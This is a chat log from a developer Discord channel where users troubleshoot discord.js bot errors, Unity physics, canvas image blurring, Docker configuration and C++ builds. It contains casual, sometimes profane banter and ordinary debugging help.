#development
1 messages · Page 67 of 1
When registering this as global command, you can simply pass the previous built structure
ok thanks i must have not saved my code or something
<client>.application.commands.create(guildCommand);
or
<client>.application.commands.create(guildCommand, <guild ID>);
or
<guild>.commands.create(guildCommand);
thanks
Is there any way to make the captcha fit in? (react + chakra)
how can i create stream in @Discordjs/voice and write in a pcm file (voice-recorder)
don't think u can resize the captcha box
du bist kein roboter
its for registering, just forgor to change the text
captchas are meant to verify humanity ong
and for preventing 200 spam accounts a second
but they suck
i always liked the honeypot method
only works against automated crawlers and bots tho, wont work if someone designs a bot specifically for your website
https://hastebin.com/vonovapaya.py
-File "/home/container/main.py", line 21
await self.load_extension(extention)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
SyntaxError: 'await' outside async function```
Hastebin is a free web-based pastebin service for storing and sharing text and code snippets with anyone. Get started now.
as the message says, you cant use await outside a non async function
but where tf is the async
there is none, thats why
you need to make the class initializer async
actually, is that even possible on an init
hey guys
my .setname doesn't do what i ask it to do
it doesn't allow : does it?
How can i make sure it will say 11:16 instead of fucking 1116 ( I set the channel name to: 11:16 PM and it automatically fucks the annotation up)
I don’t think so, constructors are not intended to be async
so you'd just have a wrapper function instead that does the setup
hey guys
why can't i change my channel name more than 2 times?
If i do so, the interval timer still runs but it doesn't change the channel name anymore
I'm sure no one cares, or already knows but I found a cool thing.
https://postgrest.org/en/stable/
restful sql
👀 thats neat
the correct way would be a ready event, or a ready parameter right?
depends on the purpose
but the semantically correct way would be an async method
like ```js
const a = new A();
await a.init();
duh, that makes sense.
you can also use a ready event if your class already uses events for other things
or if your class has multiple ready levels, like a discord lib
connection ready, identify ready, all guilds ready, etc
how can i create stream in @discordjs/voice and write in a pcm file (voice-recorder)
should be connection.receiver.subscribe()
but that gives you an opus stream, not pcm
"not working this" does not help much
I sent it as a reply to this message
pcm file but 1 second only noise
anyone who has worked with vim, can u tell me why my after folder is not executing i have a simple print statement init and it not showing when i open up vim
Database · vision has successfully connected to the database.
C:\Users\Administrator\Desktop\vision\src\modals\createGiveaway.js:30
parseFloat(setfields.getTextInputValue("giveaway-winners"))
^
ReferenceError: setfields is not defined
at Object.execute (C:\Users\Administrator\Desktop\vision\src\modals\createGiveaway.js:30:18)
at Object.execute (C:\Users\Administrator\Desktop\vision\src\events\interaction\modalInteraction.js:41:11)
at Client.execute (C:\Users\Administrator\Desktop\vision\src\structures\handlers\events.js:10:40)
at Client.emit (node:events:525:35)
at InteractionCreateAction.handle (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\actions\InteractionCreate.js:81:12)
at module.exports [as INTERACTION_CREATE] (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\handlers\INTERACTION_CREATE.js:4:36)
at WebSocketManager.handlePacket (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketManager.js:352:31)
at WebSocketShard.onPacket (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketShard.js:480:22)
at WebSocketShard.onMessage (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketShard.js:320:10)
at callListener (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\event-target.js:290:14)
at WebSocket.onMessage (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\event-target.js:209:9)
at WebSocket.emit (node:events:513:28)
at Receiver.receiverOnMessage (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\websocket.js:1178:20)
at Receiver.emit (node:events:513:28)
at Receiver.dataMessage (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\receiver.js:528:14)
at Receiver.getData (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\receiver.js:446:17)
const winners = Math.round(
parseFloat(fields.getTextInputValue("giveaway-winners"))
);
i don t see where s my mistake
damn u helped me a lot
like i don t know to define fields
const {
Client,
EmbedBuilder,
ActionRowBuilder,
ButtonBuilder,
ModalSubmitInteraction,
PermissionsBitField,
ButtonStyle,
} = require("discord.js");```
EmbedBuilder
C:\Users\Administrator\Desktop\vision\src\modals\createGiveaway.js:29
const winners = Math.round(
^
ReferenceError: setfields is not defined
at Object.execute (C:\Users\Administrator\Desktop\vision\src\modals\createGiveaway.js:29:26)
at Object.execute (C:\Users\Administrator\Desktop\vision\src\events\interaction\modalInteraction.js:41:11)
at Client.execute (C:\Users\Administrator\Desktop\vision\src\structures\handlers\events.js:10:40)
at Client.emit (node:events:525:35)
at InteractionCreateAction.handle (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\actions\InteractionCreate.js:81:12)
at module.exports [as INTERACTION_CREATE] (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\handlers\INTERACTION_CREATE.js:4:36)
at WebSocketManager.handlePacket (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketManager.js:352:31)
at WebSocketShard.onPacket (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketShard.js:480:22)
at WebSocketShard.onMessage (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketShard.js:320:10)
at callListener (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\event-target.js:290:14)
at WebSocket.onMessage (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\event-target.js:209:9)
at WebSocket.emit (node:events:513:28)
at Receiver.receiverOnMessage (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\websocket.js:1178:20)
at Receiver.emit (node:events:513:28)
at Receiver.dataMessage (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\receiver.js:528:14)
at Receiver.getData (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\receiver.js:446:17)
execute(interaction) {
const embed = new EmbedBuilder().setColor("Blurple").setTimestamp();
const prize = interaction.fields
.getTextInputValue("giveaway-prize")
.slice(0, 256);
const winners = Math.round(
parseFloat(setfields().getTextInputValue("giveaway-winners"))
);
const duration = fields.getTextInputValue("giveaway-duration");
if (isNaN(winners) || !isFinite(winners) || winners < 1) {
embed.setDescription("🔹 | Please provide a valid winner count.");
return interaction.reply({ embeds: [embed], ephemeral: true });
}```
line 30
const winnvers = math.
C:\Users\Administrator\Desktop\vision\src\modals\createGiveaway.js:30
embed.setField({ name: 'Winners', value: fields.getTextInputValue("giveaway-winners") })
^
ReferenceError: fields is not defined
at Object.execute (C:\Users\Administrator\Desktop\vision\src\modals\createGiveaway.js:30:48)
at Object.execute (C:\Users\Administrator\Desktop\vision\src\events\interaction\modalInteraction.js:41:11)
at Client.execute (C:\Users\Administrator\Desktop\vision\src\structures\handlers\events.js:10:40)
at Client.emit (node:events:525:35)
at InteractionCreateAction.handle (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\actions\InteractionCreate.js:81:12)
at module.exports [as INTERACTION_CREATE] (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\handlers\INTERACTION_CREATE.js:4:36)
at WebSocketManager.handlePacket (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketManager.js:352:31)
at WebSocketShard.onPacket (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketShard.js:480:22)
at WebSocketShard.onMessage (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketShard.js:320:10)
at callListener (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\event-target.js:290:14)
at WebSocket.onMessage (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\event-target.js:209:9)
at WebSocket.emit (node:events:513:28)
at Receiver.receiverOnMessage (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\websocket.js:1178:20)
at Receiver.emit (node:events:513:28)
at Receiver.dataMessage (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\receiver.js:528:14)
at Receiver.getData (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\receiver.js:446:17)
lol
Database · vision has successfully connected to the database.
C:\Users\Administrator\Desktop\vision\src\modals\createGiveaway.js:30
embed.setField({ name: 'Winners', value: interaction.fields.getTextInputValue("giveaway-winners") })
^
TypeError: embed.setField is not a function
at Object.execute (C:\Users\Administrator\Desktop\vision\src\modals\createGiveaway.js:30:13)
at Object.execute (C:\Users\Administrator\Desktop\vision\src\events\interaction\modalInteraction.js:41:11)
at Client.execute (C:\Users\Administrator\Desktop\vision\src\structures\handlers\events.js:10:40)
at Client.emit (node:events:525:35)
at InteractionCreateAction.handle (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\actions\InteractionCreate.js:81:12)
at module.exports [as INTERACTION_CREATE] (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\handlers\INTERACTION_CREATE.js:4:36)
at WebSocketManager.handlePacket (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketManager.js:352:31)
at WebSocketShard.onPacket (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketShard.js:480:22)
at WebSocketShard.onMessage (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketShard.js:320:10)
at callListener (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\event-target.js:290:14)
at WebSocket.onMessage (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\event-target.js:209:9)
at WebSocket.emit (node:events:513:28)
at Receiver.receiverOnMessage
at Receiver.getData (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\receiver.js:446:17)```
bruh
Would make sense that it's setFields and not setField, no?
maybe?
let me
bruh
i got an idea
The method is called addFields()
i think i already fixed it=]]]
wait 2 mins
nah
got api err
let me try ur version @earnest phoenix
ik
that s ez
ik x2
C:\Users\Administrator\Desktop\vision\src\modals\createGiveaway.js:33
const duration = fields.getTextInputValue("giveaway-duration");
^
ReferenceError: fields is not defined
at Object.execute (C:\Users\Administrator\Desktop\vision\src\modals\createGiveaway.js:33:22)
at Object.execute (C:\Users\Administrator\Desktop\vision\src\events\interaction\modalInteraction.js:41:11)
at Client.execute (C:\Users\Administrator\Desktop\vision\src\structures\handlers\events.js:10:40)
at Client.emit (node:events:525:35)
at InteractionCreateAction.handle (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\actions\InteractionCreate.js:81:12)
at module.exports [as INTERACTION_CREATE] (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\handlers\INTERACTION_CREATE.js:4:36)
at WebSocketManager.handlePacket (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketManager.js:352:31)
at WebSocketShard.onPacket (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketShard.js:480:22)
at WebSocketShard.onMessage (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketShard.js:320:10)
at callListener (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\event-target.js:290:14)
at WebSocket.onMessage (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\event-target.js:209:9)
at WebSocket.emit (node:events:513:28)
at Receiver.receiverOnMessage (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\websocket.js:1178:20)
at Receiver.emit (node:events:513:28)
at Receiver.dataMessage (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\receiver.js:528:14)
at Receiver.getData (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\receiver.js:446:17)```
bruh
wait
fields is not defined
Lavalink · Node vision - Node 01 connected!
Database · vision has successfully connected to the database.
C:\Users\Administrator\Desktop\vision\src\modals\createGiveaway.js:35
if (isNaN(winners) || !isFinite(winners) || winners < 1) {
^
ReferenceError: winners is not defined
at Object.execute (C:\Users\Administrator\Desktop\vision\src\modals\createGiveaway.js:35:15)
at Object.execute (C:\Users\Administrator\Desktop\vision\src\events\interaction\modalInteraction.js:41:11)
at Client.execute (C:\Users\Administrator\Desktop\vision\src\structures\handlers\events.js:10:40)
at Client.emit (node:events:525:35)
at InteractionCreateAction.handle (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\actions\InteractionCreate.js:81:12)
at module.exports [as INTERACTION_CREATE] (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\handlers\INTERACTION_CREATE.js:4:36)
at WebSocketManager.handlePacket (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketManager.js:352:31)
at WebSocketShard.onPacket (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketShard.js:480:22)
at WebSocketShard.onMessage (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketShard.js:320:10)
at callListener (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\event-target.js:290:14)
at WebSocket.onMessage (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\event-target.js:209:9)
at WebSocket.emit (node:events:513:28)
at Receiver.receiverOnMessage (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\websocket.js:1178:20)
at Receiver.emit (node:events:513:28)
at Receiver.dataMessage (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\receiver.js:528:14)
did it already
Lavalink · Node vision - Node 01 connected!
Database · vision has successfully connected to the database.
C:\Users\Administrator\Desktop\vision\src\modals\createGiveaway.js:67
endTime: formattedDuration,
^
ReferenceError: formattedDuration is not defined
at C:\Users\Administrator\Desktop\vision\src\modals\createGiveaway.js:67:20
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
Node.js v18.12.1
formattedDuration is not defined
You keep on using variables that are never defined
.then(async (message) => {
await DB.create({
id: interaction.guild.id,
channel: interaction.channel.id,
endTime: formattedDuration,
hasEnded: false,
hoster: interaction.user.id,
prize: prize,
winners: winners,
isPaused: false,
messageID: message.id,
enteredUsers: [],
}).then((data) => {
setTimeout(() => {
if (!data.hasEnded) endGiveaway(message);
}, duration);
});```
it isn t
If you copy code from https://github.com/t3amedge/Evelyn/blob/main/src/modals/createGiveaway.js, copy it in its entirety, most likely defined somewhere.
Apparently it is simply bad code that doesn't even work so don't copy code like you are doing
tf is that?
This code is completely copied 😅
Lmao they've been caught in 4K
check their package json, its up to date but pretty messy
how can i record the sounds in the room i did this much but now when i record it gives me 1 second of noise
website
on the bot page, in the creator controls section click "delete"
Where u mean?
https://top.gg/user/me
click "view" on the bot you want to delete.
click "delete"
Discord is the easiest way to communicate over voice, video, and text. Chat, hang out, and stay close with your friends and communities.
How do you add emojis in embed title??
You basically just put the emoji there
Small question, if I add functionality to my bot which requires more permissions, how would I be able to update its permissions on existing servers? I mean I can update on the developer page but existing servers won't get it, right?
Yeah existing servers won't get the updated permissions, those are only applied when the bot is invited, and even then the inviter can edit the permissions when inviting
The best thing to do is to actually check for the permissions you need and short-circuit if the bot doesn't have the required permissions
And to also tell what permissions are missing
node:events:491
throw er; // Unhandled 'error' event
^
TypeError: Cannot read properties of undefined (reading 'send')
at Client.<anonymous> (C:\Users\Administrator\Desktop\GAD GMod Status\index.
js:38:10)
at Client.emit (node:events:513:28)
at WebSocketManager.triggerClientReady (C:\Users\Administrator\Desktop\GAD G
Mod Status\node_modules\discord.js\src\client\websocket\WebSocketManager.js:385:
17)
at WebSocketManager.checkShardsReady (C:\Users\Administrator\Desktop\GAD GMo
d Status\node_modules\discord.js\src\client\websocket\WebSocketManager.js:368:10
)
at WebSocketShard.<anonymous> (C:\Users\Administrator\Desktop\GAD GMod Statu
s\node_modules\discord.js\src\client\websocket\WebSocketManager.js:194:14)
at WebSocketShard.emit (node:events:513:28)
at WebSocketShard.checkReady (C:\Users\Administrator\Desktop\GAD GMod Status
\node_modules\discord.js\src\client\websocket\WebSocketShard.js:511:12)
at WebSocketShard.onPacket (C:\Users\Administrator\Desktop\GAD GMod Status\n
ode_modules\discord.js\src\client\websocket\WebSocketShard.js:483:16)
at WebSocketShard.onMessage (C:\Users\Administrator\Desktop\GAD GMod Status\
node_modules\discord.js\src\client\websocket\WebSocketShard.js:320:10)
at callListener (C:\Users\Administrator\Desktop\GAD GMod Status\node_modules
\ws\lib\event-target.js:290:14)
Emitted 'error' event on Client instance at:
at emitUnhandledRejectionOrErr (node:events:394:10)
at process.processTicksAndRejections (node:internal/process/task_queues:84:2
1)
Node.js v18.12.1
i am getting this error and i have tried all sorts of things
Show the 38th line of your index.js file
damn.. now I understand why everyone is just lazy and asks for admin permissions for the bot
Asking for Administrator permission is also pretty inconvenient for the user, and also pretty risky, implementing a proper permission handler and such isn't hard to be honest
It's pretty bad ux on discord side though. Imagine bots on millions of servers have to be re-invited instead of having a feature to ask for new perms
there is only channel.send({ contexthi})
channel is undefined
no
const channel = client.channels.cache.get(channelID);
channelID depends on config.json
the id is invalid or the channel doesnt exist, or the channel is not cached
if you are trying to get the channel before the bot is ready, it will not work
the bot has to be ready for channels to be cached
Realistically nobody really re-invites bots, most bots just ask for the respective permissions they need to function, doing a permission check every time a command is used is a good idea to avoid permission errors
its also so insanely easy to setup a permission handler.
I created a new channel and it worked thanks
You just make this "Feature to ask for new perms" In your code
In your handler, check for an abstracted method of something like getRequiredPermissions and return an array of the required permissions objects from your command to the handler class
And run a check on getRequiredPermissions() in the handler class/file, incase the bot doesn't have it; then log the permissions which aren't found in an array or a string or whatever and send it to the user the way you want
Keep in mind that it will break again if that channel is not cached
You need to fetch the channel for it to be guaranteed to exist (assuming that your bot has access to it and the ID is valid)
it would look like that in java
and here's an example for the handling of the generic class (Abstraction manager), Get an idea off the code and make a similar one in whatever language you're using
If he’s asking about those errors I don’t think he’s going to understand the Java version of it :p
Also I’m not sure if the JVM optimizes this or not but creating a HashMap every time for those functions might be kinda bad for memory allocation
It becomes inaccessible after the execution of the method so it'll just get replaced in memory, there are of course better ways to do things but eh not a big deal as it won't result in memory leaks, this is java
And yeah, i guess that's true
HashMaps allocate quite a bit of memory, since that’s how they work
they should always be cached though, so it should be fine
hello may I ask how perms should a bot have to use emojis in other servers ?
Use external emojis, just like users
didn't work tho
The bot needs to be in the server where the emoji is obviously
Then if permission is given correctly, it can use them
all the perms are set so so the emoji server maybe the server is on privet mode I think?
The bot needs permissions to use external emojis on the server it's gonna send it to (Unless it's excluded for bot accounts, which i don't think so)
as long as it becomes inaccessible after the method's finish of execution, it's data in memory will be replaced by new ones, so it ain't a big deal
the bot have admin perms as well as this perms but no emoji are showing only : badges :
but in my support server it work just fine I am so confused
show me the used code
of the used emoji ?
.addField(`:PINNED: • User id : `,`\`${u.id}\``,true)
discord.js i assume
so the problem from the discord js ?
nah nah wait
i ain't too good with js but eh i guess it should look like that
let emojiCode = clientObject.getGuild(enter guild id that contains the emoji in here).getEmojiByName("emoji's name, without :").getAsReactionCode();
// And in add field,
.addField(`${emojiCode} • User id : `,`\`${u.id}\``,true)
You'll find method names completely different, just explaining that you need to get the guild, then get the emoji by it's name and get it as a reaction code
is this a new update cuz it used to work just fine just yesterday that starting to show no emojis
it'll work on the guild which contains an emoji with the name of :PINNED:
but on any other guild, no
what discord.js version are you using? i'll get you the exact code if you're still confused
v13.11.0
spoonfeeding code is against our guidelines.
i'm doing that so he gets the idea
he's not a dev asking for code, i'm just doing it so he gets the concept
we are so sorry for any trouble
you can use psudeo code to share concepts, its better for them to learn themselves rather than copy pasting your code
yea true u got a point there
we so sorry
my head is spinning and I just wanted some more info
oh, nice, java
tho that's some quite verbose command handler
and .forEach 😩
and as waffle said, those hashmaps could be replaced with a single global map, or better yet a function that returns the string on a switch statement
So I found a neat little bug I have no idea how to fix in my unity game 
Whenever I press play, the character just falls through the floor
collision mesh setup properly?
Yup
Probably something to do with my code tbh
But I dont see anything that could interfere with collision detection
using UnityEngine;
using UnityEngine.InputSystem;
public class PlayerController : MonoBehaviour
{
public float Speed = 10;
public CharacterMover characterMover;
public CameraMover cameraMover;
private Rigidbody rb;
private Vector3 MoveDirection;
private void Start()
{
characterMover = gameObject.AddComponent<CharacterMover>();
cameraMover = gameObject.AddComponent<CameraMover>();
rb = characterMover.rb;
}
public void Movement(InputAction.CallbackContext context)
{
if (!characterMover.IsGrounded()) return;
if (context.action.IsPressed())
{
Vector2 speed = context.action.ReadValue<Vector2>() * Speed;
MoveDirection = new(speed.x, rb.velocity.y, speed.y);
}
else
{
MoveDirection = Vector3.zero;
}
}
private void Update()
{
if (rb == null) return;
cameraMover.Move(rb.position);
characterMover.Move(MoveDirection);
}
}
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class CameraMover : MonoBehaviour
{
public Camera playerCamera;
// Start is called before the first frame update
void Start()
{
playerCamera = gameObject.AddComponent<Camera>();
}
public void RotateCamera()
{
}
public void Move(Vector3 position)
{
playerCamera.transform.position = position;
}
}
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class CharacterMover : MonoBehaviour
{
public Rigidbody rb;
// Start is called before the first frame update
void Start()
{
rb = gameObject.AddComponent<Rigidbody>();
}
public bool IsGrounded()
{
if (rb == null) return false;
return Physics.Raycast(rb.position + Vector3.up * 0.05f, Vector3.down, 0.1f, 3);
}
public void Move(Vector3 direction)
{
if(rb == null) return;
rb.velocity = direction;
}
}
Literally everything i've done
I see nothing that could interfere with the collisions or cause it to ignore the floor falling through
rb wont be null
since u didnt declare it as nullable
check against default instead
default?
rb == default
Yea I know what you mean
when I was making a c# project I had to deal with its null safety stuff
but never heard of default
unless u declare something as nullable, it'll never be null, it'll receive default instead
u can also just use rb?.velocity = direction too
to be extra safe
that way u dont need more than one line
That would just cause more issues by the looks of it
not really, it wont assign unless it has a value
Talking about the left side of an assignment must be a variable, indexer or property
using ? does some weird stuff it seems
never tried it in c#, but in groovy it works
anyway, the issue is probably in isGrounded() method
is rb ever null? like, even if it was nullable?
It shouldn't be unless it was never supplied to the CharacterMover script
but I always make sure it is before hand
also AddComponent should return the rigidbody directly after adding it as a reference to the CharacterMover script
try debugging while the game is running
You can also do it from Visual Studio if you wanted
I uninstalled all jetbrains products
I decided to just stick with vscode and visual studio from now on
Yea apparently none of the code is causing issues unless I am debugging wrong

None of the options standout to me
everything looks correct
try making the floor collision mesh thicker
I see no way tto change the thickness of it
It seems mesh collider doesn't not have a way to change something like that
I can add a box collider on it if need be
give it a try
Yea doesn't change anything
I made the box collider's collision points thicker on the Y and still falls through
and now I gtg didntt realize the time
what was the issue?
oh falling through
@sharp geyser you should check your collision matrix to make sure the layer the player is on and the floor collide with each other/itself
should also use gravity. Idk if isKinematic would help or not
IsKinematic ignores collisions and all other physic related things
and if I wanna make custom gravity stuff which I plan on doing Gravity has to be false
I dont think the badge has anything to do with your bot
Could it be rate limit?
Seems like shard 0 is just struggling to stay alive, could be a number of issues
hi
I know python but it doesnt work sonI used blocks
Woah who added Turkish flag
Well I am Turkish

i can tell
considering it's python, do you have any heavy task running on the bot?
.
Is it possible in python to create one picture of multiple ones on command. The pics are stored in a database with links
OpenCV for python seems to allow combining images.
pillow may help
Though very inefficient from what I've heard
hi
Hey,
I am trying to do something with canvas. I wants to blur the background image and text is fine. My code looks like this but image is not getting blur.
const canvas = makeCanvas;
const ctx = canvas.getContext('2d');
ctx.filter = 'blur(4px)';
ctx.drawImage(background, 0, 0, canvas.width, canvas.height);
var textString3 = `Your Eyes (feat. Taqiya Zaman )`;
ctx.font = 'bold 60px Genta';
ctx.fillStyle = '#f2f2f2';
ctx.fillText(textString3, 320, canvas.height / 2 + 20);
first of all, don't ever use var
aside from that, did u try just blur(4)?
Umm wait I'll try just now
Hey this is what my code actually looks like now i tried to do same but still didn't worked.
const canvas = Canvas.createCanvas(1772, 1972);
const ctx = canvas.getContext('2d')
const background = await Canvas.loadImage(`https://media.discordapp.net/attachments/935795447082131466/1042813214544638012/images.jpg`);
ctx.drawImage(background, 0, 0, canvas.width, canvas.height);
ctx.filter = 'blur(4)';
ctx.drawImage(background, 0, 0, canvas.width, canvas.height);
const textString3 = `Your Eyes (feat. Taqiya Zaman)`;
ctx.font = 'bold 60px Genta';
ctx.fillStyle = '#f2f2f2';
ctx.fillText(textString3, 320, canvas.height / 2 + 20);
const attachment = new MessageAttachment(canvas.toBuffer(), 'anime.jpg');```
I think the blur is working at the canvas but not on the background any idea bout how can I add filter on that
oh wait, just noticed
why are u drawing the background twice?
Ya i got it XD
I dont see why not.
but it needs a web address to send data to bot
Once you're running the webserver in your app, you gonna use your public IPv4 address and configured port (and route) as target.
You require to actually have a real IPv4 address (no DS lite), to open the configured port in your firewall and forward the port in your router to your target device (the PC running the vsc app).
make sure to close it when ur not testing tho
guys i need help pls asap
What do you need help with?
during test bot works normally, i update the token to my main bot, it gets stuck
no fucking idea why, main was working all good before that
those are 2 different tokens(bots)^
any idea why?
Your bot probably hit a ratelimit on gateway identify events
ok worked now, but it took ages to fully launch the main one
ah wtf, how can i get rate limited from users using interactions?
You don't get ratelimited because of that
ah why then
If your bot tries to login to the Discord gateway more than a 1,000 times you'll be ratelimited for the entire day, but since it connected just now I suppose it's not ratelimited, you probably have network issues
bruv it was the first time i try to restart it in like a month
its something weird i really didnt know whats wrong lol
You can always listen to the warn, error, and debug events of the client to see what's actually happening
the problem is
i never got no errors
bot was just not launching...
i reset my token now and it worked, really dk what was wrong lol
I didn't say you did, the cause of the bot not launching can be hidden away so you can listen to those events to reveal it
ah thats wonderful, didnt know that was possible
thanks sir 🤝
anyone who develops with Python, can i get some help?
I keep getting this wall of red text and i have no idea what i did wrong, I practically copy pasted this from someone it worked for
you're being rate limited
If you're hosting off shared hosting, don't. Noisy neighbors can get the host machine banned
im using replit
is this replit?
yes
kill 1 on shell
thank you!
but please dont use replit on production, you can use it for development but generally replit is not really a good 24/7 discord bot hosting
Got it! Thank you
The funny part about "copying from someone who it worked for" is that it usually adds more problems than it solves
Is it possible to make a bot say something when someone joins a voice channel?
You can check voice state on the channel and if someone who’s not a bot joins just play an audio file
im more so thinking if I join the VC the bot would @ someone
Oh sure
Just do the same but instead of playing an audio file just send a message in a channel of your choice
Please don’t dm me asking for help
This channel exists precisely for that reason
is there a way to find the language of interaction.user
bcz like with locale we can make separate translation for commands and description
but for translation of replies will need to know the language of the interaction user first?
interaction.locale
C++ make no sense bruv
How do I build my project, with the dependencies I am requiring, I was recommended to use CMake and have a CmakeList.txt that links to my deps but what do I do after running cmake on my project and it outputs to a build folder
which one is better? why?
https://www.npmjs.com/package/mongodb
https://www.npmjs.com/package/mongoose
hello why does interactions need perms from everyone to post external emojis ?
ammm iirc interaction replies are count as a webhooks
as in that don't give them pems to post external emoji?
although have full perms in all server
As I said interaction responses are webhooks and they need Use external emojis permission to be enabled in the everyone role.
everyone need to have the perm not the bot
oh fr
any way to bypass that
I used interaction channel send
but go so errors I had to turn off my PC and go to sleep
It’s possible to make a bot to say anything you want when someone join a voice channel I have a code I think it v11 I’m not show when I find it I’ll update it to v14 and I’ll post it
better not, you shouldn't spoonfeed code like that
what OS are you using
so true, literal hell on earth
how can i make a table
cuz i know have this
| bot commands | Description
| ------ | ------ |
| /help | shows help |
but its ugly
if you're using js, there's a string.repeat function Which you can do to align text
Padleft/right is the best way if u don't have access to string format
Hey, I have some commands in which I used deferReply function, and when I run bot in my pc, those commands run perfectly but when I host my bot those deferReply commands don't work, only the normal one work.
Plz help!!
any errors? or it just doesn't work?
do you use followUp for the Response?
Well I created a swiper for my site with https://swiperjs.com/ but it go to next object after a delay I want it have better animation like the swiper in https://beemo.gg/ don't want to wait what should I do?
Oh yes
I use
can u show ur code?
I use deferReply(); in some more commands also. This is one of them.
youre not supposed to use followup there
deferreply is to reply later
followup is after you reply
but you still have to send a normal reply in between a defer and a followup
tim!1!1!1!1!1
wot
hai
hai
await deferReply 🙂
Bruh, I used that only, see code-
https://sourceb.in/YmnkZkdCAB
in-between those, you never replied once
Windows
is config.json in the same folder as /app?
like /config.json instead of /app/config.json
I just made another container but hardcoded the config and it works, so its basically not in the dockerignore and the entrypoint doesnt create one
weird
# !/bin/bash
INTERNAL_IP=$(ip route get 1 | awk '{print $(NF-2);exit}')
export INTERNAL_IP
cp /tmp/config.json /config.json
# Change Config Values
sed -i -e "s|D-PAPER_HOST|${PSQL_HOST}|" /config.json
sed -i -e "s|D-PAPER_DATABASE|${PSQL_DATABASE}|" /config.json
sed -i -e "s|D-PAPER_USERNAME|${PSQL_USERNAME}|" /config.json
sed -i -e "s|D-PAPER_PASSWORD|${PSQL_PASSWORD}|" /config.json
sed -i -e "s|C-PAPER_ACCOUNT|${ACCOUNT_CAPTCHA}|" /config.json
sed -i -e "s|C-PAPER_DEVELOPERS|${DEVELOPERS_CAPTCHA}|" /config.json
ls -alFh /app
node .```
would this work?
according to node, no
wait
nvm
well whats the best way to make my app recieve the docker env vars but still be able to test without docker?
--env PSQL_HOST="abc.de", ...
either add env vars in your local environment too, or add them from somewhere else
my current "tactic" is to just write the envs to the config and boom, can still test locally using the config
Man fuck c++ and using libs
nobody stays elitist after trying c++
before: Ha! X lang is way too bad, noobs always go for the easiest
after: Man I'm happy there are alternatives
what libs are you trying to use lol
D++ so I can try out brains amazing library not a plug
xD
it's like python wheel
okay so I build it now what
now run it

Tim
It doesn't give me anything to run
Unless I am blind
Gotta restore the files as I deleted out of anger
c++
c++ uses solutions too?
I would also like to note that apparently this doesn't exist but it gives me intellisense for it and its in my includePath

brain is coming for you
cannot open sourrce file
🥹
@wheat mesa why the fuck do you guys use C++
Even starting with it is a pain
Because most people do not start C++ with using libraries
Okay I am not most people waffle
I thought we knew this already
If it ain't challenging it is boring
yes, they start with winapi /s
(To set up and use)
Waffle, what is there to learn about this cursed language
Pointers, references, structs, classes, modern C++, etc
There’s tons to learn
Operator overloading
Okay fair enough
Also Visual Studio is cancer to navigate
Wont even let me make folders
Yes and so does 50 other options
Yea no you legit cant make folders in visual studio
